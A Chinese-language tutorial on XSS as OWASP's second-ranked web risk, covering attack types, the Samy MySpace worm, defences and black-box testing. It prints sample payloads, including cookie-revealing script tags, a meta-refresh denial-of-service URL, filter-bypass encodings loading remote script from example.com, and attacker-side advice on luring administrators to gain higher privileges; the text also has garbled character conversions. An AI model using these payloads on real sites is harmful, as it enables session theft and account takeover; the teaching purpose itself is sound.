10大最重要的Web安全風險之二---A2-跨站腳本（XSS）

OWASP TOP10

A1-注入   

A2-跨站腳本（XSS）  

A3-錯誤的認證和會話管理 

A4-不正確的直接對象引用  

A5-僞造跨站請求（CSRF）     -- Cross-Site Request Forgery

A7-限制遠程訪問失敗 

A8-未驗證的重定向和傳遞 

A9-不安全的加密存儲   

A10-不足的傳輸層保護

A2-跨站腳本（XSS）

排在OWASP TOP10第2位的是Cross Site Scripting（XSS），翻譯成中文即「跨站腳本攻擊」。它指的是惡意攻擊者往Web頁面裏插入惡意html代碼，當用戶瀏覽該頁之時，嵌入其中Web裏面的html代碼會被執行，從而達到惡意用戶的特殊目的。XSS屬於被動式的攻擊，由於其被動且很差利用，因此許多人常忽略其危害性。

如下內容轉自百度空間的一篇關於OWASP的文章，我的以爲基本已經把跨站腳本攻擊的內容闡述的比較清楚。

如何尋找XSS漏洞，XSS攻擊分紅兩類，一類是來自內部的攻擊，主要指的是利用程序自身的漏洞，構造跨站語句，如:dvbbs的showerror.asp存在的跨站漏洞。另外一類則是來來自外部的攻擊，主要指的本身構造XSS跨站漏洞網頁或者尋找非目標機之外的有跨站漏洞的網頁。如當咱們要滲透一個站點，咱們本身構造一個有跨站漏洞的網頁，而後構造跨站語句，經過結合其它技術，如社會工程學等，欺騙目標服務器的管理員打開，而後利用下面的技術獲得一個shell。

如何利用

傳統的跨站利用方式通常都是攻擊者先構造一個跨站網頁，而後在另外一空間裏放一個收集cookie的頁面，接着結合其它技術讓用戶打開跨站頁面以盜取用戶的cookie，以便進一步的攻擊。這種方式太過於落後，對於弊端你們可能都知道，由於即使你收集到了cookie你也未必能進一步滲透進去，多數的cookie裏面的密碼都是通過加密的，若是想要cookie欺騙的話，一樣也要受到其它的條件的限約。而另外一種思路，則從必定程度上解決上述的問題。比較成熟的方法是經過跨站構造一個表單，表單的內容則爲利用程序的備份功能或者加管理員等功能獲得一個高權限。下面將詳細的介紹這種技術。

尋找跨站漏洞

若是有代碼的話比較好辦，咱們主要看代碼裏對用戶輸入的地方和變量有沒有作長度和對」<」,」>」,」;」,」’」等字符是否作過濾。還有要注意的是對於標籤的閉合，像測試QQ羣跨站漏洞的時候，你在標題處輸入<script>alert(‘test’)</script>，代碼是不會被執行的，由於在源代碼裏，有其它的標籤未閉合，如少了一個</script>，這個時候，你只要閉合一個</script>，代碼就會執行，如：你在標題處輸入</script><script>alert(‘test’)</script>，這樣就能夠彈出一個test的框。

如何利用 

跨站腳本(Cross-site scripting，XSS)漏洞是Web應用程序中最多見的漏洞之一。若是您的站點沒有預防XSS漏洞的固定方法，那麼就存在XSS漏洞。這個利用XSS漏洞的病毒之因此具備重要意義是由於，一般難以看到XSS漏洞的威脅，而該病毒則將其發揮得淋漓盡致。

這個利用XSS漏洞的蠕蟲病毒的特別之處在於它可以自我傳播。myspace.com上的一個用戶但願本身可以在網站的友人列表上更「受歡迎」。可是該用戶不是經過普通的方法來結交新朋友，而是在本身的我的信息中添加了一些代碼，致使其餘人在訪問他的頁面時，會不知不覺地利用XSS漏洞將他加爲好友。更惡劣的是，它會修改這些人的我的信息，使其餘人在訪問這些被感染的我的信息時，也會被感染。因爲這種呈指數傳播的方式，這種病毒才很快就被發現。

很難預防站點中的XSS。所以必定要認真檢查您的應用程序是否存在XSS漏洞。此外，WebLogic Server的encodeXSS()也能夠有所幫助。能夠試着針對全部牽涉到使用encodeXSS()或其餘某個篩選方法的輸出找出一種編碼模式——找出對一種編碼模式來講不正確的應用程序每每要比找出XSS漏洞要容易的多。更重要的是，不要認爲，就由於XSS漏洞是一個常見問題，因此它危害不大。

之因此出現XSS漏洞有兩個緣由。首先，HTML沒有明確區分代碼和數據。沒法肯定指出「這個字符串表示的是數據」。您能夠將其放入引號中，可是數據是否包含引號呢？……其次，程序在將用戶數據發送回瀏覽器時沒有進行有效的轉義。這致使包含有（例如說）引號的數據被放入頁面中，從而引起了問題。而AJAX要提供的好處是，它包含一個專用渠道XML連接，其中全是數據而沒有代碼。這樣，就有可能讓客戶端AJAX引擎負責對字符串進行轉義、檢測不正確的值，等等。說是這麼說，直到AJAX更爲成熟（可能也更爲標準化）以前，它只會致使錯誤的編程和安全漏洞。

XSS漏洞可能形成的後果包括竊取用戶會話，竊取敏感信息，重寫Web頁面，重定向用戶到釣魚網站等，尤其嚴重的是，XSS漏洞可能使得攻擊者可以安裝XSS代理，從而攻擊者可以觀察到該網站上全部用戶的行爲，並能操控用戶訪問其餘的惡意網站。

對於XSS漏洞，咱們有兩種常見的措施，第一種就是消除漏洞，簡而言之就是在輸出頁面上不提供任何用戶的輸入信息；另一種就是想辦法來抵禦這種漏洞，能夠採用對全部用戶的輸入編碼後再輸出（能夠用OWASP的ESAPI），也能夠對全部用戶輸入進行「白名單」驗證，另外，OWASP還提供了AntiSamy對HTML頁面作優化以消除這個漏洞。

防範XSS跨站腳本攻擊——測試篇

XSS也是一種對瀏覽器的解釋器的代碼注入攻擊，這些攻擊可以經過HTML，JavaScript，VBScript，ActiveX，Flash等其餘客戶端語言執行，同時，這些攻擊也可能形成用戶信息泄露，配置更改，cookie竊取等形成危害，甚至可以用於對Web服務器進行DOS攻擊。

　　與大部分攻擊不一樣的是，大部分攻擊每每只涉及2方（攻擊者和網站，攻擊者和受害者），而XSS則涉及3方，攻擊者、客戶端、網站，XSS的目的就是竊取客戶端的cookie或是其餘信息以冒充客戶在網站上進行認證，進而在網站上操做任何想進行的操做。

　　下面咱們看看到底有哪些類型的XSS攻擊：

　　Stored XSS（存儲式跨站腳本攻擊）

　　這是最強大的一種XSS攻擊，所謂存儲跨站攻擊是指用戶提交給Web應用程序的數據首先就被永久的保存在服務器的數據庫，文件系統或其餘地方，後面且未作任何編碼就能顯示到Web頁面，最典型的就是2005年在MySpace發現的XSS漏洞以及利用該漏洞的Samy MySpace Worm。

　　舉例，假設咱們的網站容許咱們給其餘用戶留言，但事實上咱們沒有留言而是寫入了一段代碼：

　　那麼服務器將會存儲這些信息，當用戶點擊咱們僞造的留言時，他的瀏覽器就會執行咱們的腳本。

Reflected XSS（反射跨站腳本攻擊）

　　這是最多見也是最知名的XSS攻擊，當Web客戶端提交數據後，服務器端馬上爲這個客戶生成結果頁面，若是結果頁面中包含未驗證的客戶端輸入數據，那麼就會容許客戶端的腳本直接注入到動態頁面中。傳統的例子是站點搜索引擎，若是咱們搜索一個包含特殊HTML字符的字符串時，一般在返回頁面上仍然會有這個字符串來告知咱們搜索的是什麼，若是這些返回的字符串未被編碼，那麼，就會存在XSS漏洞了。

　　初看上去，因爲用戶只能在本身的頁面上注入代碼，因此彷佛這個漏洞並不嚴重，可是，只需一點點社會工程的方法，攻擊者就能誘使用戶訪問一個在結果頁面中注入了代碼的URL，這就給了攻擊者整個頁面的權限。因爲這種攻擊每每會須要一些社會工程方法，因此研發人員每每不會太過看重，可是咱們看以下的例子，在服務器上有以下代碼：

article.php?title=<meta%20http-equiv="refresh"%20content="0;">

　　這就使得瀏覽器每3秒就刷新一次頁面，並且是一個死循環的狀態，這就造成了DOS攻擊，致使Web服務器掛掉。

　　DOM-Based XSS（基於DOM的XSS）

　　這個漏洞每每存在於客戶端腳本，若是一個Javascript腳本訪問須要參數的URL，且須要將該信息用於寫入本身的頁面，且信息未被編碼，那麼就有可能存在這個漏洞。

　　黑盒測試和示例：

　　比較簡單的測試是否存在XSS漏洞的方法是驗證Web應用是否會對一個包含了HTTP響應的簡單腳本的訪問請求，例如，Sambar服務器（5.3）包含一個衆所周知的XSS漏洞，咱們向服務器發送以下的請求，從服務器端可以產生一個響應從而在Web瀏覽器中執行

http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(「Cookie」+document.cookie)</SCRIPT>

　　這個腳本會在客戶瀏覽器端被執行。

　　咱們再舉個例子：

　　因爲Javascript是區分大小寫的，有些人會嘗試將全部字符轉換爲大寫字符來避免XSS漏洞，在這時，咱們最好仍是使用VBScript，由於它是大小寫不區分的：

JavaScript. 　　<script>alert(document.cookie);</script> 　　VBScript. 　　<script. type="text/vbscript">alert(DOCUMENT.COOKIE)</script>

　　若是咱們已通過濾了」<」，或者是<script，/script>，那麼咱們就須要嘗試各類編碼方法了

<script. src=http://www.example.com/malicious-code.js></script> 　　%3cscript. src=http://www.example.com/malicious-code.js%3e%3c/script%3e \x3cscript. src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e